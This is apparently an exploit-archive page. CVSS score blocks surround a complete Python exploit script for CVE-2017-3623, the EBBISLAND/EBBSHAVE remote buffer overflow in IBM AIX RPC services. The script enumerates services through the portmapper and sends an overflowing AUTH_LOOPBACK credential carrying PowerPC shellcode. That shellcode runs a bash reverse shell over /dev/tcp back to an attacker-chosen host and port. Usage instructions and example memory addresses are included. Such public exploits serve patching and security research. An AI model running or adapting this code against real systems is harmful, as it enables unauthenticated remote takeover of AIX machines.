10 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
EBBISLAND EBBSHAVE 6100-09-04-1441 - Remote Buffer Overflow
# Exploit Title: EBBISLAND EBBSHAVE 6100-09-04-1441 - Remote Buffer Overflow
# Date: 2018-09-19
# Exploit Author: Harrison Neal
# Vendor Homepage: https://www.ibm.com/us-en/
# Version: 6100-09-04-1441, 7100-03-05-1524, 7100-04-00-0000, 7200-01-01-1642
# Tested on: IBM AIX PPC
# CVE: CVE-2017-3623
# EBBISLAND / EBBSHAVE RPC Buffer Overflow for IBM AIX PPC
#!/usr/bin/python
# Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc
# Exploit code example; shellcode requires /usr/bin/bash on the target
# Example values for my AIX 7.2 LPAR:
# gid_base: 3007d390
# execl_func: d0307940
# execl_toc: f081bc20
# CAUTION: If a RPC service repeatedly crashes, it can be automatically disabled
from os import urandom
from socket import socket, AF_INET, SOCK_STREAM
from struct import pack, unpack
from sys import argv, exit
from time import time, sleep
def getCredLoopbackBody():
global gid_base, rhost, lhost, lport, gid_base, execl_func, execl_toc
epoch = pack('>I', time()) # Make sure the system clock is in sync w/ target
# Doesn't matter, ljust call assumes len <= 4
node_name = 'hn'
node_length = pack('>I', len(node_name))
node_name = node_name.ljust(4, '\x00')
# Also doesn't matter
uid = pack('>I', 0)
gid = pack('>I', 0)
# Big enough to trigger an overflow
# Not big enough to trigger defensive code
# You could make this a little bit less,
# but you'd have to tweak the part 2 code
gids_len = pack('>I', 64)
base_addr = pack('>I', gid_base)
addr_8c = pack('>I', gid_base + 0x8c)
addr_a8 = pack('>I', gid_base + 0xa8)
addr_4c = pack('>I', gid_base + 0x4c)
func_addr = pack('>I', execl_func)
toc_addr = pack('>I', execl_toc)
cmd = 'bash -i >& /dev/tcp/' + lhost + '/' + lport + ' 0>&1'
cmd = cmd.ljust(0x30, '\x00')
# Each GID is 4 bytes long, we want 64
gids = (
# +0x0 # filepath
'/usr/bin/bash\x00\x00\x00'
# +0x10 # argv[0]
'bash\x00\x00\x00\x00'
# +0x18 # argv[1]
'-c\x00\x00'
# +0x1c # argv[2]
) + cmd + (
# +0x4c # r3 = filepath
'\x70\x63\x00\x00' # andi. r3, r3, 0x0
'\x3c\x60'
) + base_addr[0:2] + ( # lis r3, ...
'\x60\x63'
) + base_addr[2:4] + ( # ori r3, r3, ...
# +0x58 # r4 = argv[0]
'\x38\x83\x00\x10' # addi r4, r3, 0x10
# +0x5c # r5 = argv[1]
'\x38\xa4\x00\x08' # addi r5, r4, 0x8
# +0x60 # r6 = argv[2]
'\x38\xc5\x00\x04' # addi r6, r5, 0x4
# +0x64 # r7 = NULL
'\x70\xe7\x00\x00' # andi. r7, r7, 0x0
# +0x68 # r2 = libc.a TOC for execl
'\x70\x42\x00\x00' # andi. r2, r2, 0x0
'\x3c\x40'
) + toc_addr[0:2] + ( # lis r2, ...
'\x60\x42'
) + toc_addr[2:4] + ( # ori r2, r2, ...
# +0x74 # execl
'\x71\x08\x00\x00' # andi. r8, r8, 0x0
'\x3d\x00'
) + func_addr[0:2] + ( # lis r8, ...
'\x61\x08'
) + func_addr[2:4] + ( # ori r8, ...
'\x7d\x09\x03\xa6' # mtctr r8
'\x4e\x80\x04\x21' # bctrl
# +0x88 # 0x14 padding
'AAAAAAAAAAAAAAAAAAAA'
# +0x9c # Will be NULL
'ZZZZ'
# +0xa0
# @+948: r5 = +0x8c
# @+968: r5 = *(+0x8c + 0x18) = *(+0xa4)
# +0xa4
# @+968: r5 = +0xa8
# @+972: r0 = *(r5 + 0x0) = *(+0xa8)
# +0xa8
# @+972: r0 = +0x4c
# @+980: ctr = r0 = +0x4c
# @+988: branch to ctr
) + addr_8c + addr_a8 + addr_4c + (
# +0xac # padding
'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
)
print ":".join("{:02x}".format(ord(c)) for c in gids)
print len(gids)
return epoch + node_length + node_name + uid + gid + gids_len + gids
def getCredLoopback():
cred_flavor = pack('>I', 0x55de) # AUTH_LOOPBACK
cred_body = getCredLoopbackBody()
cred_len = pack('>I', len(cred_body))
return cred_flavor + cred_len + cred_body
def getAuthNone():
auth_flavor = pack('>I', 0) # AUTH_NONE
auth_len = pack('>I', 0)
return auth_flavor + auth_len
def getMessage(prog_num, ver_num, proc_num, use_loopback_cred):
xid = urandom(4)
mtype = pack('>I', 0) # CALL
rpcvers = pack('>I', 2)
prog = pack('>I', prog_num)
vers = pack('>I', ver_num)
proc = pack('>I', proc_num)
cred = ( getCredLoopback() if use_loopback_cred else getAuthNone() )
verf = getAuthNone()
return xid + mtype + rpcvers + prog + vers + proc + cred + verf
def getPacket(message):
# MSB on = this is the last fragment
# LSBs = fragment length
frag = pack('>I', len(message) + 0x80000000)
return frag + message
if len(argv) < 7:
print 'Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc'
exit(1)
rhost = argv[1]
lhost = argv[2]
lport = argv[3]
gid_base = int(argv[4], 16)
execl_func = int(argv[5], 16)
execl_toc = int(argv[6], 16)
# Query the portmapper for services
services = []
s = socket(AF_INET, SOCK_STREAM)
s.connect((rhost, 111)) # port 111 for portmapper
s.send(getPacket(getMessage(
100000, # portmapper
2, # version 2
4, # DUMP
False # unauth request
)))
s.recv(0x1c) # skip over fragment length, XID, message type, reply state, verifier, accept state
while list(unpack('>I', s.recv(4)))[0]: # while next "value follows" field is true
prog_num, ver_num, proto_num, port = unpack('>IIII', s.recv(16))
if (prog_num == 100024 # status
and proto_num == 6): # TCP
print '[ ] Found service ' + str(prog_num) + ' v' + str(ver_num) + ' on TCP port ' + str(port)
services.append((prog_num, ver_num, port))
s.close()
# Try attacking
for service in services:
prog_num, ver_num, port = service
serv_str = str(prog_num) + ' v' + str(ver_num)
for attack in [False, True]:
sleep(1) # be gentle
print '[ ] ' + ( 'Attacking' if attack else 'Pinging' ) + ' ' + serv_str
s = socket(AF_INET, SOCK_STREAM)
s.connect((rhost, port))
resp_len = 0
s.send(getPacket(getMessage(
prog_num,
ver_num,
0, # NULL, acts like a ping
attack
)))
s.settimeout(5) # give inetd/... a chance to spin up the service if needed
try:
resp_len = len( s.recv(1024) ) # try to receive up to 1024 bytes
except:
resp_len = 0 # typically either timeout, connection error, or Ctrl+C
try:
s.close() # try closing the connection if it isn't already dead
except:
pass # connection is probably already dead
print '[ ] Got response length ' + str(resp_len)
if resp_len == 0: # suspect the service either timed out or crashed
if attack:
print '[+] Probably vulnerable to EBBSHAVE, hopefully you have a shell'
else:
print '[-] Service probably down or otherwise misbehaving, skipping...'
break
10 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C